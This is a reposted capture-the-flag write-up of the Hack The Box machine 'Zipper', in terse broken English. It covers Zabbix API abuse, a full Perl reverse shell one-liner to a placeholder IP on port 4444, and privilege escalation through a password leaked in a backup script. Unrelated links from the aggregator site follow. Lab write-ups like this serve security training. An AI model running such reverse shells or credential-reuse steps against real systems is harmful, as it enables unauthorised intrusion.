HTB-靶机 Zipper-Writeup

2019 年 6 月 17 日 黑白之道

文章来源:lsh4ck's Blog

Usually scan,nmap+dirb+gobuster+msftcp



find zabbix,ver3.0.21:


think about zabbix has jsrpc.php,any exploit?,json interface is not authorized to access,search it:

python has library named zabbixapi,https://github.com/lukecyca/pyzabbix

EXP. add host:http://blog.chinaunix.net/uid-28309325-id-5176638.html

createuser.py:


createscript.py:

The execute script must execute on zabbix agent not on server cuz server its a docker container



the panel of script before:


after excute the script:



editor the script,use the stable perl or python to backconnect:
perl-e'use Socket;$i="x.x.x.x";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'<br />

create events or triggers,filter use any,more hosts possible:


ncat to listen:


find the files of user zapper is permission denied,cat the backup.sh:
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null

shell for backup,-p could be the pwd for zapper

zapper can not ssh:


use python to get a interactive shell:

so can use su,input the pwd,login successfully:



get user.txt

search folder:


The only one that runs with root is the service. Actually, the administrator may be negligent. This should be the way to leave a question for us

suid is running by root


download the pdf of writeup

登录查看更多
0

相关内容

一份简明有趣的Python学习教程,42页pdf
专知会员服务
77+阅读 · 2020年6月22日
100+篇《自监督学习(Self-Supervised Learning)》论文最新合集
专知会员服务
167+阅读 · 2020年3月18日
开源书:PyTorch深度学习起步
专知会员服务
51+阅读 · 2019年10月11日
LeetCode的C++ 11/Python3 题解及解释
专知
16+阅读 · 2019年4月13日
【推荐】用Python/OpenCV实现增强现实
机器学习研究会
15+阅读 · 2017年11月16日
【LeetCode 500】关关的刷题日记27 Keyboard Row
专知
3+阅读 · 2017年11月5日
【推荐】树莓派/OpenCV/dlib人脸定位/瞌睡检测
机器学习研究会
9+阅读 · 2017年10月24日
Adversarial Variational Bayes: Unifying VAE and GAN 代码
CreateAMind
7+阅读 · 2017年10月4日
Arxiv
9+阅读 · 2016年10月27日
VIP会员
相关VIP内容
一份简明有趣的Python学习教程,42页pdf
专知会员服务
77+阅读 · 2020年6月22日
100+篇《自监督学习(Self-Supervised Learning)》论文最新合集
专知会员服务
167+阅读 · 2020年3月18日
开源书:PyTorch深度学习起步
专知会员服务
51+阅读 · 2019年10月11日
相关资讯
LeetCode的C++ 11/Python3 题解及解释
专知
16+阅读 · 2019年4月13日
【推荐】用Python/OpenCV实现增强现实
机器学习研究会
15+阅读 · 2017年11月16日
【LeetCode 500】关关的刷题日记27 Keyboard Row
专知
3+阅读 · 2017年11月5日
【推荐】树莓派/OpenCV/dlib人脸定位/瞌睡检测
机器学习研究会
9+阅读 · 2017年10月24日
Adversarial Variational Bayes: Unifying VAE and GAN 代码
CreateAMind
7+阅读 · 2017年10月4日
Top
微信扫码咨询专知VIP会员